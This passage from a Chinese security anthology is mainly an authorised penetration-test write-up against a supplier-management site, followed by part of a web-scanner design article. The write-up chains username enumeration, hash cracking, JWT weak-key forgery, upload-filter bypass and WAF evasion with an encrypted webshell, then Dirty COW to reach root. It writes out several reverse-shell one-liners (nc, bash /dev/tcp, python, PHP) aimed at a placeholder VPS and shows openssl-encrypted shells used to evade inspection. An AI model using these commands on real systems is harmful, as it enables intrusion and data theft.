户通知来检查他们的个人汽车是否会受到影响以及是否可以获得软件更新.

14.6 0x06结论

在本报告中，我们揭示了我们在车载系统，远程信息处理控制系统和中央网关模块中发现的所有漏

洞. 攻击者可以通过车辆面向外部的 I/O接口并利用这些漏洞，包括 USB，OBD-II和蜂窝网络. 特别

是，远程信息处理控制系统在没有任何物理访问的情况下受到攻击，攻击者可以通过向宝马车辆的内

部 CAN总线发送恶意 CAN消息，远程触发或控制宽范围的车辆功能，无论何时停车或驾驶模式.

resource/faef3efd9e771c4590c0dd508826a5bcbf72985b.jpg


IV

15 全程带阻：记一次授权网络攻防演练 . . . 280

16 漏洞扫描技巧篇 . . . . . . . . . . . . . . . . . . . . . 318

17 一条命令实现端口复用后门 . . . . . . . . . . . 326

渗透测试

网络是一个整体，任何一个单位、
任何一个系统存在漏洞，都会成
为犯罪分子和敌对势力攻击的跳
板，成为整个网络的薄弱环节。发
现脆弱点，需要的不但有天马行
空的想象，还要有坚实雄厚的积
淀。



全程带阻：记一次授权网络攻防演练

作者：yangyangwithgnu

来源：https://www.freebuf.com/vuls/211842.html

完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除

等七步，虽然这个站点只经历了前四步，但也具有较强的代表性，组合利用漏洞形成攻击链，拿下管

理权限。

15.1 事情缘起

杜兄弟在某旅游集团公司任职 IT技术主管，有两家驻场安全厂商为其提供安全服务，一家负责业务

相关的渗透测试，一家负责网络访问、流量监测的安全管控，上周和他吃了个串串，整个饭局除了刚

开始的寒喧，大部份时间就是布道，在他的管理下，生产系统做到了绝对安全。

well，你知道的，虽然我在蓝队，但一直有颗红心。自然得怼一下，‘‘这个还是要看攻击者哟，攻防

演练没丢分，说明不了啥子三’’，杜兄弟不高兴了，在酒精的作用下，他开腔了，‘‘这样，我帮你申请

5K的漏洞赏金，你看哈能找到啥问题不’’。对嘛，找得到，挣点油钱，找不到，当学习，于是就应下

来了。杜兄弟看我敢接招，临走前点了根烟，猛吸了两口，思索片刻后又给我加了两个限定条件，一

是，每步实质攻击前，必须先得到他的授权，二是，单个漏洞不算完成任务，必须拿到操作系统 root。

wow，挺大的挑战，拿不下就打脸，我陷入激烈的思想斗争，wait、wait，我不是应该向钱看么，脸

面不重要，ok，一下就想通了。

15.2 初步刺探

拿到的目标是个供应商管理系统，访问之，自动跳转至登录页面：

正准备启动信息收集工作，页面上有三个地方引起了我的注意：.do的接口地址、登录功能、密码

找回功能。

审查.do接口。看到.do自然联想到 struts2命令执行全家桶。

看下用的哪种脚本语言：

的确是 java，用安恒出品的 S2漏洞验证工具扫描下：

无果。

审查登录功能。登录功能的审查点很多，比如账号是否可枚举、密码是否可暴破，但前提是没有验

证码，显然这里存在图片验证码，所以，我先确认验证码是否可绕过。

拦截登录请求：

应答标志为 2，第二次重发，应答标志变为 1：

显然，验证码防御机制有效，虽然 python调用 tesseract识别图片的手法可有效攻击图片验证码，

但需要我爬取该站的大量图片来训练，这个阶段无需太深入，暂时放一放。
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Figure 15.1: img

Figure 15.2: img
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Figure 15.3: img

Figure 15.4: img
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Figure 15.5: img

Figure 15.6: img

审查密码找回功能。密码找回功能很容易出现逻辑错误，经验来看，至少可从七个方面攻击密码

找回功能：重置凭证接收端可篡改、重置凭证泄漏、重置凭证未校验、重置凭证可暴破、用户混淆、

应答中存在影响后续逻辑的状态参数、token可预测。

访问密码找回页面：

拦截密码找回的请求：

从应答描述可知，提示该用户不存在，重发几次，结果相同，说明图片验证码未生效，好了，第一

个洞，用户名可枚举。

显然，用户名在该请求的 params参数中，URL解码可得明文：

于是，将 root设定为枚举变量，加载中国人姓名（top500）、后台账号两个字典，进行枚举：

得到三个有效账号：nana、admin、liufei。

随意选个账号进入密码找回流程，liufei，应答为 JSON数据，格式化后吓我一跳：

敏感信息大赠送！有邮箱，甚至有哈希密码。记下来，第二个漏洞，账号相关敏感信息泄漏。
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Figure 15.7: img

Figure 15.8: img
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Figure 15.9: img

Figure 15.10: img
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Figure 15.11: img

Figure 15.12: img

我的目的很明确，获取登录密码，所以，我计划利用泄漏信息，从信息库和哈希反解两方面达到目

的。

信息库。提取邮箱中的用户名，liufei的 liufei、nana的 18xxxxxx56、admin的 legxxxxxxng，在信

息库中查询历史密码。

只找到 liufei相关的多个历史密码，逐一验证，均错误。

哈希反解。提取三个账号的哈希密码，liufei 的 a1e0476879cab2a76cc22c80bbf364dd、nana 的

208f0aba4a6d4b9afe94207e6c57d594、admin的 3faf009c43bb39c5a37859bc48feaff3。

有了哈希密码，第一时间查彩虹表，反解明文密码：

只有账号 liufei的密码解出为!QAZ2wsx，nana、admin无解，暂时放下。第三个漏洞，业务系统存

在弱口令账号 liufei。

15.3 低权进站

通过 liufei / !QAZ2wsx登录网站：

功能非常有限，只有个回收站，里面没有业务任何数据。

上图中有几个输入框，应该是个查询功能，但是找不到查询按钮，尝试在前端 HTML源码中翻找

查询接口，无果；在 burp的报文历史中审查 JS，也没找到有用的接口。看来，还得找个高权限的账号。

回到先前未反解出来的两个账号，nana的 208f0aba4a6d4b9afe94207e6c57d594、admin的 3faf009c43bb39c5a37859bc48feaff3。
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Figure 15.13: img

Figure 15.14: img

https://www.cmd5.com/拥有海量的彩虹表数据，它反解不出来，很可能是个强口令。对于强口

令的暴破，我习惯围绕用户名，制作具有社工属性的密码字典，如，用户名 nana，社工属性密码可能

为 NaNa、na520na、nana@19901015。如何生成社工属性密码字典？hashcat！对滴，hashcat不仅是哈

希暴破神器，也支持基于规则生成密码字典，规则库位于 hashcat/rules/：

其中，dive.rule含有我需要的规则，选之。我把 nana视为基础信息存入 base.txt中作为输入，让

dive.rule模仿学习生成类似的密码字典，保存至 se_passwds.txt：

接着用社工字典暴破哈希密码：

7秒出结果，得到 nana的密码 nanacnacnanac，第四个漏洞，业务系统存在社工属性口令账号 nana。

用类似的手法，制作了账号 admin的社工密码字典，遗憾，并未暴出 admin的密码。没关系，用 nana /

nanacnacnanac登录系统，或许有新发现。

一旦进入后台，习惯上先找三类功能：上传功能、查询功能、命令功能。上传功能，通过各种任意

文件上传攻击手法，上传 webshell；查询功能，审查是否存在 SQL注入，拿数据（如，哈希密码）；命

令功能，指那些有著名工具实现的功能，比如，输入个 IP，业务功能探测该 IP是否存活，服务端可能

执行了 ping命令，又如，上传个压缩包，页面显示压缩包内容，服务端可能执行了 unzip命令，这时，

用命令注入或命令选项注入的手法，攻击服务端。

登录 nana账号，业务功能也不多，但有个上传功能：

Figure 15.15: img
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Figure 15.16: img

我得深入审查它，或许是 getshell的唯一通道。

先上传一个正常的 PNG图片，页面报错，提示非管理员禁止上传：

这可不好玩了，admin的哈希密码之前用彩虹表、社工字典都尝试过，无法反解，前进步伐再次受

阻。

15.4 逻辑漏洞

回想之前刺探过的密码找回功能，发现泄漏用户哈希密码就未再深入，应该再审查下，或许能重置

admin密码。

用 admin进入密码找回流程，先顺利通过服务端用户名是否存在的校验，然后向该账号绑定的邮

箱地址发送密码重置 URL，请求如下：

显然，参数 email存在不安全的直接对象引用（IDOR）问题，将其替换为攻击者的邮箱，90%的概

率会收到重置邮件。（IDOR，国内外厂商对它完全是两个态度，一次给国外电商平台提交了个 IDOR

漏洞，可导致全量用户邮箱泄漏，拿了 3K，美刀，类似漏洞提交给国内厂商，可导致政企用户个人信

息泄漏、可增删改用户家庭住址，奖励了 2K，还是购物卡，T_T）

于是，我找了个匿名邮箱，尝试劫持 admin的密码找回邮件：

很快，匿名邮箱收到来信：

访问带 token的密码重置链接，还真能修改密码：

洋气！第五个漏洞，任意用户密码重置。

呵呵，小激动，喝口茶，刷刷微信休息下，刚好看到杜兄弟留言：
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Figure 15.17: img

Figure 15.18: img
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Figure 15.19: img

Figure 15.20: img

Figure 15.21: img
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Figure 15.22: img

茶吐了一地，到手的 admin又飞了。没办法，人家先就说清楚了，‘‘每步实质攻击前，必须先得到

授权’’。

我不得不去找寻其他攻击路径！

15.5 垂直越权

焦点回到 nana账号的上传功能上，虽然服务端报错禁止非 admin上传，但仔细审查请求报文，看到存

在 token：

这个 token让我觉得很突兀，通常 token要么用作身份凭证、要么用于防 CSRF，若是前者，就不

应该与同样表示身份凭证的 cookie同时存在，若是后者，通常为 16位或 32位的哈希值，而非用点号

分隔的三段 base64。于是，我依次将每段解码：

第一段解码看到 JWT，第二段解码发现用户名，第三段因下划线导致解码失败。

原来是 JWT啊！老朋友了，全称叫 JSON Web Token，现代 web应用中替代 cookie表示用户身份凭

证的载体。形式类似 base64，但使用了 base64可用字符空间之外的点字符，且无法直接解码。HTTP

报文中一旦发现 JWT，应重点关注。一时没想起，这不就是现代 web常用的 JWT么，服务端对 JWT

实现不好，容易导致垂直越权，比如，把第二段的 user字段值从 nana篡改 admin。但是，JWT的签名

（也就是上面的第三部分），是对信息头和数据两部分结合密钥进行哈希而得，服务端通过签名来确保

数据的完整性和有效性，正因如此，由于我无法提供密钥，所以，篡改后的 token到达服务端后，无法

通过签名校验，导致越权失败。

攻击 JWT，我常用三种手法：未校验签名、禁用哈希、暴破弱密钥。

未校验签名。某些服务端并未校验 JWT签名，所以，尝试修改 token后直接发给服务端，查看结

果。于是，我将 user字段值从 nana改为 admin后，重新生成新 token：
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Figure 15.23: img

Figure 15.24: img
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Figure 15.25: img

由于未填写正确密钥，即便生成格式正确的新 token，但提示无效签名（invalid signature），没事，

放入上传请求报文中，发给服务端，试试手气：

bad news：

没关系，继续尝试其他攻击手法。

禁用哈希。JWT第一部分含有 alg字段，该字段指定生成签名采用哪种哈希算法，该站使用的是

HS256，可将该字段篡改为 none，某些 JWT的实现，一旦发现 alg为 none，将不再生成哈希签名，自

然不存在校验签名一说。

https://jwt.io/#debugger将 alg为 none视为恶意行为，所以，无法通过在线工具生成 JWT：

我只得用 python的 pyjwt库来实现：

你看，用 none算法生成的 JWT只有两部分了，根本连签名都没生成。将新的 token发给服务端，

仍然报错 “wrong signature’’。另外，某些 JWT实现对大小写敏感，所以，我继续尝试了 None、nOne、

NONE，均报错。

暴破弱密钥。别放弃，哪怕最后一招也得尝试，希望该站用的是个弱密钥，暴破。

我在 github上找了个 JWT密钥暴破工具 https://github.com/lmammino/jwt-cracker，但只支

持字符序列穷举方式暴破，无法加载字典：

不得不自己写个脚本。

前面提到的 pyjwt库，不仅可用于生成 JWT，也可通过 jwt.decode(jwt_str, verify=True, key=key_)

进行签名校验，但，导致校验失败的因素不仅密钥错误，还可能是数据部分中预定义字段错误（如，

当前时间超过 exp），也可能是 JWT字符串格式错误等等，所以，借助 jwt.decode(jwt_str, verify=True,

key=key_)验证密钥 key_：
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Figure 15.26: img

Figure 15.27: img
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Figure 15.28: img

Figure 15.29: img

Figure 15.30: img
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Figure 15.31: img

Figure 15.32: img

1.若签名直接校验失败，则 key_为有效密钥；

2.若因数据部分预定义字段错误（jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,

jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError）

导致校验失败，说明并非密钥错误导致，则 key_也为有效密钥；

3.若因密钥错误（jwt.exceptions.InvalidSignatureError）导致校验失败，则 key_为无效密钥；

4.若为其他原因（如，JWT字符串格式错误）导致校验失败，根本无法验证当前 key_是否有效。

按此逻辑，快速实现 JWT密钥暴破功能，代码如下：

运行脚本，很快找到密钥：

哈哈，哈哈哈哈，密钥到手，高权我有！

接下来，我将 user字段从 nana改为 admin，并提供有效密钥 admin：

生成了具备有效签名的新 JWT值。

尝试用伪造成 admin的新 JWT上传图片：
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Figure 15.33: img
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Figure 15.34: img
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Figure 15.35: 1566216142_5d5a8fceb7c55.png!small

哈哈哈哈，成功上传图片。第六个漏洞，JWT使用弱密钥，可导致垂直越权。

15.6 建立据点

真是麻烦，整了这么久，才获得一个可用的上传功能而已，还不一定能上传 webshell，走一步看一步。

在我看来，任意文件上传攻击应关注四个要素：找寻文件路径、指定文件扩展名、写入脚本代码、

防WAF拦截。

找寻文件路径。上传 webshell后肯定要访问，势必得晓得文件写入路径，通常上传成功后，路径

将回显在应答中，但该站并无回显，但好在它是个图片，所以，在页面右键即可查看文件路径：

同时，为了方便后续调试，我把查询文件路径的接口保留下来：

指定文件扩展名。上传报文中，涉及文件扩展名的地方如下三处：

我得逐一验证哪个是影响服务端写入文件时用到的扩展名。尝试将第一处 fileName域的 info.png

改为 info.jsp，确认写入文件名：

wow，这运气。

写入脚本代码。接下来，我把上传报文中的图片数据替换为一行无害的 JSP代码：

上传失败，文件内容是唯一变更的地方，那么，我可以合理猜测服务端要么检测了文件内容是否

存在脚本代码，要么检测了文件头是否为图片类型。

验证是否检测了脚本代码。我把这行 JSP代码改为普通文本：

仍然失败，说明并非检测了恶意代码。
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Figure 15.36: 1566216150_5d5a8fd68a8a6.png!small

验证是否检测了文件头。不同类型的文件都有对应的文件类型签名（也叫类型幻数，简称文件头），

比如，PNG的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF为 47 49 46 38 37 61、JPG为 FF D8

FF E0。于是，我添加了 PNG文件头后再次上传：

wowo，上传成功。立即访问，确认能否解析：

500错误，不应该啊，就这么一行无害普通代码，怎么会导致服务端错误呢？！会不会 PNG头中存

在不可见字符，导致解析报错？改成全是可见字符的 GIF头试试：

确认能否正常解析：

呵呵，讲究！换成 GIF文件头可成功解析。

防WAF拦截。接下来，我把无害 JSP代码替换为命令执行的小马，成功上传、成功解析、成功执

行命令：

哈哈，第七个洞，文件类型签名可绕过，导致任意文件上传 getshell。

我的内心开始放荡，抑制不住激动的心情按下了 F5，居然又出幺蛾子：

顺利写马、可以执行一次命令、刷新页面出现禁止访问，这种现象，我怀疑WAF作祟，它发现流

量中携带恶意行为后拒绝请求。

两年前，突破WAF我大概会用到这几种手法：分块传输、畸型请求、转义序列、偏僻编码、TLS

滥用，而如今，划时代的冰蝎问世（尽管它未开源），让我几乎可以忽视WAF的存在。上古时代的各

类一句话、小马、大马早已成为各大WAF出厂默认封杀规则；传奇 webshell管理客户端菜刀也年久

失修，明文流量毫无隐私可言；冰蝎，采用密钥变换手法，将文本载荷转为二进制流，再进行加密传

输，天生具备防流量监测的能力。

所以，我上传冰蝎马：

直接访问报错：

没关系，冰蝎马未处理异常，不影响管理端连接：
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Figure 15.37: 1566216159_5d5a8fdf58afc.png!small
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Figure 15.38: 1566216165_5d5a8fe5af881.png!small

Figure 15.39: 1566216172_5d5a8fec1b4fc.png!small
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Figure 15.40: 1566216178_5d5a8ff2b39fc.png!small

Figure 15.41: 1566216189_5d5a8ffd79b82.png!small

Figure 15.42: 1566216194_5d5a90022d3af.png!small
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Figure 15.43: 1566216200_5d5a9008bf633.png!small

Figure 15.44: 1566216207_5d5a900ff32ef.png!small

Figure 15.45: 1566216216_5d5a901862c47.png!small

Figure 15.46: 1566216222_5d5a901e02268.png!small
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Figure 15.47: 1566216228_5d5a9024ebe47.png!small

Figure 15.48: 1566216237_5d5a902d34446.png!small

Figure 15.49: 1566216242_5d5a9032ebac9.png!small

305



渗透测试 全程带阻：记一次授权网络攻防演练

Figure 15.50: image.png

Figure 15.51: 1566216254_5d5a903eaba56.png!small

现在，我可以随意执行命令：

管理文件：

题外话，关于上传漏洞，冰蝎流量监测、白名单扩展绕过，这有两点你可以了解下：

\1. 冰蝎流量能逃过所有品牌的WAF监测么？几乎是，唯一逃不过奇安信（原 360、原原

网神）的天眼系统，冰蝎管理端与冰蝎马建立会话时需要获取动态密钥，这个过程中的请

求与应答的两个报文存在特征，天眼的着力点在此（作者后续补充，此处为他见过有限的

WAF品牌中，只有天眼能发现冰蝎的流量，其他大部份品牌未作验证）；

\2. 任意文件上传攻击，遇到服务端扩展名白名单的场景，除了常规的解析漏洞手法外，还

可能关注本地文件包含漏洞（LFI），以及 HTTP参数污染漏洞（HPP），特别是 HPP，在突

破白名单限制时，很有杀伤力。

15.7 系统提权

webshell虽然赋予我执行命令、管理文件的能力，但毕竟不是真正的 shell，无法执行交互式命令、无

法控制进程状态、无法补全命令等等，非常不利于提权操作，所以，必须反弹 shell。

通过冰蝎在目标上执行反弹命令：

VPS监听：

等昏过去了都没见到 shell回来，反弹 shell失败！导致失败的因素很多，经验来看，常见如下几

类：反弹命令不存在、禁止出口流量、限定向外访问端口、流量审查。
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Figure 15.52: 1566216267_5d5a904b2750a.png!small

Figure 15.53: 1566216273_5d5a905162f55.png!small

验证是否反弹命令不存在。我常用的几个反弹命令：nc/nc.openbsd/nc.traditional、bash/sh/dash、

python/perl/PHP/ruby、exec。

用 nc反弹，命令如下：

nc <your_vps> 1024 -e /bin/sh

某些目标的 nc不支持 -e参数，有两个解决思路，要么使用其他版本的 nc：

nc.traditional <your_vps> 1024 -e /bin/sh

要么配合命名管道进行反弹：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

用 bash反弹：

/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1

用 python反弹：

python -c ’import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

用 PHP反弹：

php -r ’$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");’

用 exec反弹：

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
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Figure 15.54: image.png

Figure 15.55: image.png

在目标上查看相关命令是否存在：

看来除 PHP外，其他反弹命令都可用，那么先前反弹失败并非 bash命令的原因。

验证是否禁止出口流量。某些目标在防火墙上限制了出口流量，禁止目标主动向外发起网络请求，

我计划通过带外（Out Of Band）的方式进行验证。大致逻辑是，在攻击者自己的 VPS上监测某种协议

的网络请求，在目标上用这种协议访问 VPS，若在 VPS上看到该协议的请求日志，则可推断出目标允

许出口流量。

为了减少其他因素干扰，我习惯选用无端口的协议进行出口流量的测试，ICMP最单纯。你知道互

联网上随时都有 ICMP的刺探，导致 VPS看到的日志量非常大，所以，我指定 ping的包的大小，这样

方便过滤。

第一步，虽然我指定了 ping包大小，但实际大小由系统确定，先在目标上执行 ping命令，获取实

际包大小：

我用 -s选项指定包大小为 64个字节，系统实际发送了 92个字节，以 length 92为关键字查找 ICMP

记录。

第二步，在 VPS上监控 ICMP日志：

第三步，在目标上再次执行 ping命令：

第四步，在 VPS上查看到大小为 92的 ICMP包：

经过以上四步，我确认目标允许出口流量。
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Figure 15.56: image.png

Figure 15.57: image.png

Figure 15.58: image.png
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Figure 15.59: image.png

Figure 15.60: image.png

验证是否限定向外访问端口。某些目标限定访问外部端口，常见黑名单和白名单两种方式。黑名

单，比如，禁止目标机器向外访问MSF默认的 4444端口；白名单，比如，只允许向外访问 web常见

的 80端口，注意下，攻击端即便监听的 80端口，getshell的流量采用的也并非 HTTP协议，而是普通

的 socket，切勿与 HTTP隧道 getshell混淆。

先前反弹失败用的是 1024端口，换个端口 2941监听试试：

目标上用 HTTP协议访问 VPS的 2941端口：

等待片刻，VPS的并无 HTTP记录，所以，怀疑采用白名单。经验来看，端口白名单通常只允许

向外访问 HTTP服务的默认 80、HTTPS服务的默认 443，于是，VPS监听 443端口，目标上访问 443，

这时 VPS上获得 443端口的访问记录：

那么，我可以几乎断定目标的确是用白名单机制限制了向外访问的端口号，其中猜测出 443端口

在白名单范围内。

验证是否存在流量审查。换成 443端口后应该顺利反弹 shell，服务端的确也收到了 shell，但还没

来得及执行任何命令，马上就就掉线了。我猜测服务端可能存在某种流量检测设备，以物理旁路、逻

辑串联的方式接入在网络中，一旦发现恶意行为，分别向客户端和服务端发送 RESET的 TCP包，达

到断开客户端和服务端连接的目的，表象类似传统堡垒机的防绕行机制。

流量审查，审查设备必定得到明文流量数据才行，要防审查自然想到加密流量。所以，我不再简单

地用 bash来反弹 shell，而在此基础上，将原始流量用 openssl加密，这样就能达到防流量审查的目的。

具体而言，第一步，在 VPS上生成 SSL证书的公钥/私钥对：

Figure 15.61: image.png
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Figure 15.62: image.png

Figure 15.63: image.png

第二步，VPS监听反弹 shell：

第三步，目标上用 openssl加密反弹 shell的流量：

第四步，VPS上成功获取加密的哑 shell：

现在，我得到的仅仅是个简陋的哑 shell，并非交互式 shell。基于以下几个原因，让我有强烈驱动

力将哑 shell转为交互式 shell：防止 ctrl-c中断 getshell会话、无法查看语法高亮、无法执行交互式命

令、无法查看错误输出、无法使用 tab命令补全、无法操控 job、无法查看命令历史。

具体如下，第一步，在哑 shell中执行：

$ python -c ’import pty; pty.spawn("/bin/bash")’

键入 Ctrl-Z，回到 VPS的命令行中；第二步，在 VPS中执行：

$ stty raw -echo$ fg

回到哑 shell中；第三步，在哑 shell中键入 Ctrl-l，执行：

$ reset$ export SHELL=bash$ export TERM=xterm-256color$ stty rows 54 columns 104

这样，我得到了功能齐全的交互式 shell，比如，支持命令补全、语法高亮：

一切就绪，正式进入提权操作。提权的手法很多，比如，利用内核栈溢出提权、搜寻配置文件中的

明文密码、环境变量劫持高权限程序、不安全的服务、借助权能（POSIX capabilities）提权、sudo误

配、SUID滥用等等。我喜欢快刀斩乱麻，将 linux-exploit-suggester-2上传至目标后运行：

提示当前内核可能存在脏牛漏洞，上传本地编译好的脏牛 exp，执行后毫无波澜地拿到了 root：

Figure 15.64: image.png
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Figure 15.65: image.png

Figure 15.66: image.png
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Figure 15.67: image.png

Figure 15.68: image.png
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Figure 15.69: image.png

Figure 15.70: image.png

虽然这个目标用内核漏洞成功提权，对我而言，只能算作运气好，在如今的网络安全生态下，运维

人员已有足够的安全意识，安装系统补丁早已融入日常工作。所以，我有必要分享一种内核漏洞之外

的提权手法，它的成功率非常高，并且不像内核提权那样可能导致系统挂起，它就是对系统完全无损

的 sudo误配提取手法。

个人非常、十分、特别喜欢它，sudo误配的一种利用手法是，查看 home/目录下是否.sudo_as_admin_successful

文件，若有则可以输入当前低权账号的密码直接 sudo su切换为 root用户，而在已经获取当前账号的

系统环境的前提下，要拿到低权账号的密码，虽然有门槛，但也不是不可能（如，翻找各类配置文件）。

靶机 JIS-CTF-VulnUpload-CTF01就是很好的一个案例。首先，利用 web漏洞拿到低权账号 technawi

的 meterpreter会话：

接着，翻找文件找到其密码：

然后，发现 home/中存在.sudo_as_admin_successful文件：

最后，用 technawi自己的密码切换为 root用户：

就这样，成功提权！

说这么多，不是排名哪种提权手法优秀、哪种拙劣，能达到目的，适合你思维模式的，就是最好

的，你说呢！
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Figure 15.71: image.png

Figure 15.72: image.png
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15.8 故事尾声

到此，任务算完成了，整个过程很有意思，目标环境设有层层防御，但每道防线或多或少存在些小问

题，多个小问题串起来，便成了黑客进入系统内部的攻击路径。

完整来说，全流程的攻击链包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移

动、痕迹清除等七步，虽然这个站点只经历了前四步，但也具有较强的代表性。简单回顾下，大概经

过以下关键步骤：

1. 密码找回功能处，图片验证码未刷新，导致可枚举用户名，得到三个有效账号：nana、

admin、liufei；

2. 密码找回功能，若是有效用户，服务端泄漏有效用户的敏感信息，包括哈希密码；

3. 由于系统存在弱口令，导致通过彩虹表反解出 liufei的密码；

4. 通过 liufei账号登录系统，发现为低权账号，无可利用功能；

5. 回到 nana账号上，通过制作社工密码，暴破出该账号密码；

6. 登录 nana账号，找到上传点，但非 admin而禁止上传；

7. 回到 admin账号上，重新审查密码找回功能，发现存在 IDOR，可重置 admin密码，但

业务厂商告知不能重置，作罢；

8. 再次登录 nana账号，分析上传请求报文，发现服务端通过 JWT作为身份凭证，由于

JWT采用弱密钥，导致垂直越权至 admin；

9. 以 admin身份上传，服务端通过文件类型签名作为上传限制，可轻松绕过，成功上传

webshell；

10. 服务端审查 webshell流量，无法长时间使用，改用冰蝎马，实现 POST数据二进制化、

加密化，突破 webshell流量审查；

11. 反弹 shell时遇阻，目标设置向外访问端口白名单，通过各种手法找到端口白名单包

含 80、443；

12. 设置反弹 shell至 443端口仍失败，发现目标部署反弹流量审查设备，于是，用 openssl

加密反弹流量，成功获取反弹 shell；

13. 为方便后续提权、维权、移动，通过技巧将反弹的哑 shell转为全功能的交互式 shell；

14. 通过查找目标内核版本，发现存在脏牛漏洞，上传 exp后顺利提权为 root。

最后，杜兄弟也兑现了承诺：

虽然做人要向 qian看，但它并不是快乐的源泉，全程带阻、层层突破、直捣黄龙，或许，这才是真

正的乐趣！

（部分信息敏感，内容适当调整）
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Figure 15.73: image.png

317



漏洞扫描技巧篇

作者：fate0

来源：https://sec.xiaomi.com/article/73

16.1 0x00前言

之前我们简单介绍了一下扫描器中爬虫的部分，接下来将继续介绍一下扫描器中一些我们认为比较有

趣的技巧。

16.2 0x01编码/解码/协议

在很久以前有人提问 AMF格式的请求怎么进行检测，或者有什么工具可以检测。既然我们要讲解

的是Web漏洞扫描器，那么就先假设是 AMF over HTTP (这里并不需要你了解 AMF，你只需要知道

AMF是一种数据格式类型就行)

假设我们需要测试一个 AMF格式数据的 SQL注入问题，那么按照通常的思路就是在 SQL注入模

块中

1. 先解析 HTTP中 AMF格式数据

2. 然后在测试参数中填写 payload

3. 重新封装 AMF格式数据

4. 发送 HTTP请求

伪代码如下：

req = {"method": "POST", "url": "http://fatezero.org", "body": "encoded data"}

data = decode_amf(req["body"])

for key, value in data.items():

d = copy.deepcopy(data)

d[key] = generate_payload(value)

body = encode_amf(d)

requests.request(method=req["method"], url=req["url"], body=body)

整个流程下来没什么问题，但是如果又来了一个 X协议 (X over HTTP)，那么我们就得继续修改

SQL注入模块以便支持这种 X协议，但是扫描器中可不是只有 SQL注入检测模块，还有其他同类模

块，难道每加一个新协议我还得把所有检测模块都改一遍？所以我们需要把这些协议解析和封装单独

抽出来放在一个模块中。

伪代码如下：
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# utils.py

def decode(data):

if is_amf(data):

data = decode_amf(data)

if is_X(data):

data = decode_X(data)

# 递归 decode

for i in data:

data[i] = decode(data[i])

return data

# detect_module.py

req = {"method": "POST", "url": "http://fatezero.org", "body": "encoded data"}

data = decode(req["body"])

for key, value in data.items():

d = copy.deepcopy(data)

d[key] = generate_payload(value)

body = encode(d)

requests.request(method=req["method"], url=req["url"], body=body)

上面的递归 decode主要是为了解码某种格式的数据里面还有另外一种格式的数据，虽然看起来这

种场景比较少见，但是仔细想一下 multipart带着 json，json里的字符串是另外一个 json字符串，是不

是又觉得这种情况也并不少见。

那 encode/decode剥离出来就可以了吗？请注意到上面伪代码使用了 requests.request发送请求，

那如果某天需要我们去测试 websocket协议，那是不是又得在检测模块中多加一套 websocket client发

送请求？所以我们也需要将具体的网络操作给剥离出来，具体的协议类型直接由上面来处理，检测模

块只需要关注具体填写的 payload。

伪代码如下：

for key, value in x.items():

data.reset()

x[key] = generate_payload(value)

x.do() # 负责将数据重新组装成原来的格式，并按照原始协议发送
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# check

因为每个检测模块的检测依据大致就几种：

返回内容

消耗时间 (time based)

另外一条信道的数据 (比方说 dnslog)

所以即便是我们将网络操作剥离出来也不会影响检测的效果。

在编写检测模块的时候，编写者可以不用关心基础协议是什么，怎么对数据编码解码，只用

关心根据 value 生成 payload 并填写到相对应的 key 中，假如某天出现了这么一种流行编码格式

http://www.a.com/key1,value1,key2,value2，那我们所有的检测模块也无需修改，仅仅需要在上

一层再添加一套 encode/decode操作即可。假如某天出现了一种比较流行的协议，我们也仅需要在上

一层提供一套 client即可。检测模块的工作就仅仅剩下生成并填写 payload。

16.3 0x02 PoC分类

在 2014 年的时候，我做了大量的竞品分析，包括使用逆向工程逆向商业的 Acunetix WVS, HP

Webinspect, IBM AppScan, Netsparker扫描逻辑，也包括阅读开源的 w3af, arachni代码。如果不谈扫描

质量，只关注整体项目设计以及产品中使用到的猥琐技巧，那么其中最让我眼前一亮的当属 AWVS，

接下来我将详细介绍一下我从 AWVS中学习到的 PoC分类。

PoC分类：

类型 描述

PerServer 用于检测Web Server级别中存在的漏洞，比方说各种中间件，Web框架的漏洞

PerFile 用于检测某个文件中是否存在漏洞，比如对应文件的备份，Bash RCE等

PerFolder 用于检测某个目录中是否存在漏洞，比如敏感信息的泄漏，路径中的 SQL注入等

PerScheme 用于检测某个参数中是否存在漏洞，比如 SQL注入，XSS等

PostCrawl 在爬虫结束之后启动，直接使用爬虫的资源进行检测

PostScan 在扫描结束之后启动，用于检测二阶注入，存储 XSS等

WebApps 用于检测比较常用的Web应用的漏洞

大致的流程图如下：
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在获取到爬虫资产，对相关资产格式化之后，便下发到各个不同类型的 PoC中进行检测，这样做

的好处是分类明确，覆盖大多数检测阶段，也避免为了减少重复请求的下发而需要额外记录中间状态

的行为。

16.4 0x03 IAST

AWVS有个比较有趣的功能 AcuMonitor，也就大家熟知的 dnslog、反连平台。在 2014年看到 AWVS

的这个功能时，就建议WooYun出个类似的功能，也就是 cloudeye，tangscan也就算是国内比较早

使用这种技术的扫描器，当然后续又出现了各种类似 cloudeye的项目，自然而然也出现了各种使

用该技术的扫描器。不过今天我们不打算继续介绍 AcuMonitor，而是介绍另外一个也很有趣的功能

AcuSensor。

AcuSensor就是 IAST，只要稍微了解过Web漏洞扫描器的，都应该会知道 IAST是干啥的。那为

什么我要单独拎出来讲这个呢？主要是因为 AcuSensor的实现方式非常有趣。

AcuSensor提供了 Java、.NET、PHP这三个语言版本，其中比较有趣的是 PHP版本的实现。PHP

版本的 AcuSensor使用方法是下载一个 acu_phpaspect.php文件，然后通过 auto_prepend_file加

载这个文件，众所周知，PHP 是不能改直接 hook PHP 内置函数的，那么单单依靠一个 PHP 脚本，

AcuSensor是如何做到类似 IAST功能的呢？

很简单，直接替换所有关键函数。嗯，真的就那么简单。

我们来详细介绍一下这个过程，在 acu_phpaspect.php中：

1. 获取用户实际请求的文件内容

